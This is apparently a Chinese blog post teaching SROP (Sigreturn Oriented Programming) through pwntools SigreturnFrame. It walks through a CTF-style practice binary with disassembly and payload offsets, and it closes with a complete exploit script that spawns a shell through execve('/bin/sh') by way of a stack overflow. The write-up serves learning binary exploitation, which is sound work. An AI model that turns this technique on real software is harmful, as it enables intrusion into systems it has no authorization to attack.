srop
srop
1、srop攻击原理
传统ROP技术在使用过程中往往需要构造复杂的ROP链,而srop技术的提出简化了一些攻击流程
SROP(Sigreturn Oriented Programming)
是指利用signal机制的特性来直接改变寄存器状态从而通过syscall来调用如execve函数执行/bin/sh从而获得shell
所谓的signal是指当一个用户层进程发起signal时,控制权切到内核层,内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn,rt_sigreturn执行完,跳到内核层,内核恢复中保存的进程上下文,控制权交给用户层进程,过程可参考下图:

可以想到,我们使用ROP的本意就是通过连续的寄存器状态变化和ret来实现寄存器状态改变的同时调用函数,使得它能够执行我们预想的参数,如果利用上述特性,我们只需要在signal的过程中构造出寄存器状态即可实现函数参数的输入,最后把这一套返回给用户层。
重点:内核恢复②中保存的进程上下文,控制权交给用户层进程
因此如何构造这一串寄存器状态是重点,而pwntools中提供了现成的函数:
from pwn import *
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rax = 0#这里一般调用execve,填入59
frame.rdi = 0#填入execve执行的参数,也就是binsh的地址
frame.rsi = 0#0
frame.rdx = 0#0
在程序中,这一串表示rt_sigreturn
mov rdi, 0
mov rsp, rsi
mov rax, 15 ; sys_rt_sigaction
可以看到调用signal的rax调用号是15(转成0xF了也要认识)
下图是signal发生时保留的栈状态:

可以看到,我们想要实现攻击的话就需要把这几个关键的寄存器填入参数
用户态的Signal Handler函数出马,对进程P接收到的signal进行处理,具体怎么处理的我们不用管,和SROP攻击无关。
当Signal Handler函数处理完signal后,栈指针寄存器sp(64位是rsp,32位是esp)会指向进程P之前保存的sigFrame的栈顶,即rt_sigreturn所在的位置。
Signal Handler函数最后一个指令是ret,会将3中栈指针寄存器sp指向的rt_sigreturn中的内容,“pop”给指令寄存器ip(64位是rip,32位是eip,这里用pop是想说此时sp也会加一个机器字长,即指向rt_sigreturn内存地址加一个机器字长的位置,根据上图,64位sp此时应指向uc_flags),此时指令寄存器ip处在sigreturn系统调用代码的位置,触发sigreturn系统调用。这样,sigreturn会根据sigFrame中的内容将进程P恢复原状,让P继续执行。
仅为执行过程,可以参考作为理解和深入研究
总结一下攻击成功的前提是:
- 可以通过栈溢出控制栈上的内容。
- 需要知道栈地址,从而知道如传入的“/bin/sh”字符串的地址。
- 需要知道syscall的地址。
- 需要知道sigreturn的内存地址。
在遇到更多复杂情况时,其实参考ROPchain,我们也可以构造SROPchain,即第一次劫持数据流之后修改返回地址为syscall;ret继续gadget即可,如下:

在实际操作是,如果有之前提及的sigreturn触发代码的话,就直接调用即可,没有的话我们将rax的值改为15也同样生效(前提是syscall没有被ban)
有个小知识,程序在调用call之后的返回值一般是保存在rax中的,所以我们可以通过执行read之后的读入的字符长度,来控制rax的值,实现任意函数的系统调用
在pwntools中,定义了一种常量constants.SYS_function,function可替代为具体的函数,这个常量的值就是在该系统中的函数调用号
2、例题理解
源于某人给我发的一题,刚好是非常纯粹的考SROP,可以作为入门题理解和套模板。
看反编译结果:
signed __int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char v3[8]; // [rsp+0h] [rbp-8h] BYREF
v0 = sys_write(1u, &msg, 0x3AuLL);
v1 = sys_read(0, v3, 0x400uLL);
return sys_write(1u, v3, 8uLL);
}
同时按照前面所说的条件我们来看看汇编码:
.text:0000000000401000 sub rsp, 8
.text:0000000000401004 mov eax, 1
.text:0000000000401009 mov edi, 1 ; fd
.text:000000000040100E mov rsi, offset msg ; buf
.text:0000000000401018 mov edx, 3Ah ; ':' ; count
.text:000000000040101D syscall ; LINUX - sys_write
.text:000000000040101F mov eax, 0
.text:0000000000401024 mov edi, 0 ; fd
.text:0000000000401029 mov rsi, rsp ; buf
.text:000000000040102C mov edx, 400h ; count
.text:0000000000401031 syscall ; LINUX - sys_read
.text:0000000000401033 mov edx, 8 ; count
.text:0000000000401038 mov eax, 1
.text:000000000040103D mov edi, 1 ; fd
.text:0000000000401042 mov rsi, rsp ; buf
.text:0000000000401045 syscall ; LINUX - sys_write
.text:0000000000401047 pop rbp
.text:0000000000401048 retn
.text:0000000000401048 _start endp
.text:0000000000401048
.text:0000000000401049 ; ---------------------------------------------------------------------------
.text:0000000000401049 pop rsi
.text:000000000040104A pop rax
.text:000000000040104B retn
.text:000000000040104B _text ends
溢出是够的,syscall是有的,rax的相关指令也可以找到(pop rax)那么我们就可以调用signal实现用户内核转换并伪写寄存器状态从而调用execve(bin/sh),首先payload:
payload=b'a'*8+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)
先来看逻辑,注意汇编程序0x401048处pop rbp在这里将rbppop出去,所以我们不能写成payload=b'a'*16+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)(这是后来调试出来的结果)
如图:
此时rsp指向为8个a,但是这里执行了pop rbp,将rsp指向的内容给了rbp,同时rsp+8到ret addr处,然后才开始执行pop rax,此时再写入15系统调用signal:
可以看到rbp为aaaaaaaa,而rsp指向ret,它的内容就是poprax的地址
老实说我一开始没理解这个,后来调试的时候才恍然大悟,一定要把这些实际怎么执行的问题搞明白才能做出来
然后不要忘记pop rax之后ret到syscall的地址才会调用signal,我前几次写的时候也忘记了导致没打通。。。
frame的倒是简单,根据前面的原理来构建即可,对了,注意到程序里面已经有了/bin/sh的地址,所以说比较简单,不然还要写入bin/sh到栈上更麻烦。
最终exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn01')
p = process('./pwn01')
sys_ret=0x401031
bin_sh=0x40203A
pop_rax=0x40104A
gdb.attach(p)
pause()
frame=SigreturnFrame()
frame.rax=59#constants.SYS_execve
frame.rdi=bin_sh
frame.rsi=0
frame.rdx=0
frame.rip=sys_ret
payload = b'a'*8+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)
p.send(payload)
pause()
p.interactive()
打通完成。

浙公网安备 33010602011771号